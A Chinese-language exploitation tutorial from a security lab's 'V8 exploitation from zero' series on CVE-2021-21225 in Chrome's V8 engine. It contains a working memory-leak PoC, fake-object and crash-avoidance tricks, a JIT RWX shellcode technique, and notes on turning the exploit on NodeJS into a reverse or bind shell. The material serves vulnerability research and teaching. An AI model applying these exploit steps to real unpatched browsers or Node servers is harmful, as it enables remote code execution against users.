作者:Hcamael@知道創宇404實驗室
時間:2022年03月16日

相關閱讀:
從 0 開始學 V8 漏洞利用之環境搭建(一)
從 0 開始學 V8 漏洞利用之 V8 通用利用鏈(二)
從 0 開始學 V8 漏洞利用之 starctf 2019 OOB(三)
從 0 開始學 V8 漏洞利用之 CVE-2020-6507(四)
從0開始學 V8 漏洞利用之 CVE-2021-30632(五)
從 0 開始學 V8 漏洞利用之 CVE-2021-38001(六)
從 0 開始學 V8 漏洞利用之 CVE-2021-30517(七)
從 0 開始學 V8 漏洞利用之 CVE-2021-21220(八)

第七個研究的是CVE-2021-21225,其chrome的bug編號為:1195977

受影響的Chrome最高版本為:90.0.4430.72 受影響的V8最高版本為:9.0.257.17

在chrome的bugs中也有該漏洞的exp和poc。

搭建環境

一鍵編譯相關環境:

$ ./build.sh 9.0.257.17

漏洞分析

本次分析的漏洞,和之前研究過的有很大的不同,PoC如下:

class Leaky extends Float64Array {}

let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return u32; }
    };
}

var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
   w.length = 1;
   gc();
   delete Array.prototype[1];
   return 1.1;
}
};

var c = Array.prototype.concat.call(w);

for (var i = 0; i < 32; i++) {
print(c[i]);
}

其中gc函數需要運行d8的時候加上--expose-gc參數,才能調用。

該PoC的效果很明顯,是內存泄漏,在變量w后再定義其他變量,比如var c = [1.1,2.2],那么可以把變量c的信息給泄漏出來。

發現該漏洞的研究人員也寫了相關的paper:

  1. https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
  2. https://tiszka.com/blog/CVE_2021_21225_exploit.html

漏洞出現在concat函數上,而且也不是新類型的漏洞,concat函數之前的漏洞編號為:CVE-2016-1646CVE-2017-5030,詳細的可以去看上面的第一篇文章。

這里就說說我編寫exp的過程,現有的exp已經可以泄漏變量信息了,但是還不夠,要想rce,還得需要能控制變量的map,上面PoC的效果只是把變量w當成長度為1000的數組,然后賦值給變量c,在正常的程序中,變量w的長度已經被我們改成1了,所以根本沒法修改后續值,只有concat函數認為變量w的長度為1000。而修改變量c的值,也根本影響不到其他變量,因為變量c本身就是長度為1000的合法變量。

在上面的第二篇文章中,提供了這么一種方案:

  1. 在上述的PoC中,數組w的所有元素都被1.1填充了,所以w的map為PACKED_DOUBLE_ELEMENTS類型。
  2. 如果我們把變量w的map改為HOLEY_ELEMENTS類型,那么concat函數在操作的時候,會把w的元素都當成Object處理。
  3. 這樣,我們在變量w后面再定義一個變量: padding_obj = new Uint32Array(10);,該變量填充進我們可控的內存地址,這樣就可以構建一個fake_obj。
  4. 有了fake_obj以后,就能任意讀寫了,就可以按照套路來寫exp了。

但是直接這么寫,可能會遇到一些問題,程序會crash,因為在漏洞觸發后,會把后續的變量都當成對象,如果遇到一個不合法的對象,就報錯了。

在上面第二篇paper中,提供了一種方法,在觸發漏洞的函數中,修改了Object的原型鏈:

Object.prototype.valueOf = function() {
    corrupted_array = this;
    delete Object.prototype.valueOf; // clean up this valueOf
  throw 'bailout';
}

成功觸發了以后,獲取到我們構造的fake_obj,然后拋出異常,然后再捕獲到該異常,這樣程序就不會崩潰了。

垃圾回收

上面poc中的gc函數需要加上--expose-gc參數,那么沒有這個參數的環境下要怎么辦呢?上面第二篇文章中給出了一個方案:

function gc() {
    new ArrayBuffer(0x7fe00000);
}

另一種得到RWX內存的方案

在之前的文章中,我們都是采用WASM的方式獲取一個RWX內存區域,但是在上面的第二篇文章中,給了另一種方案。

如果heap->write_protect_code_memory為0,那么JIT優化的代碼會生成RWX內存區域來存放。

示例如下:

function jit(a) {
  return a[0];
}

write64(write_protect_code_memory_, 0);

for (var i = 0; i < 200000; i++) {
  jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])

其中write_protect_code_memory_地址一般在堆的開頭,可以通過gdb來搜索該地址。

jit_turbo_code_addr地址的偏移也可以通過gdb調試來獲取。

NodeJS的利用

經過研究,該漏洞能影響到NodeJS 16.0.0。

來編寫NodeJS的exp的過程中需要注意幾點:

  1. nodejs沒開啟地址壓縮。
  2. 使用%DebugPrint或者%System會影響內存布局,影響利用。
  3. 最后利用的shellcode,會發現沒有輸出,這是因為執行shellcode的文件描述符不對,這個時候可以修改shellcode為reverse shell或者bind shell。

參考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1195977

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1858/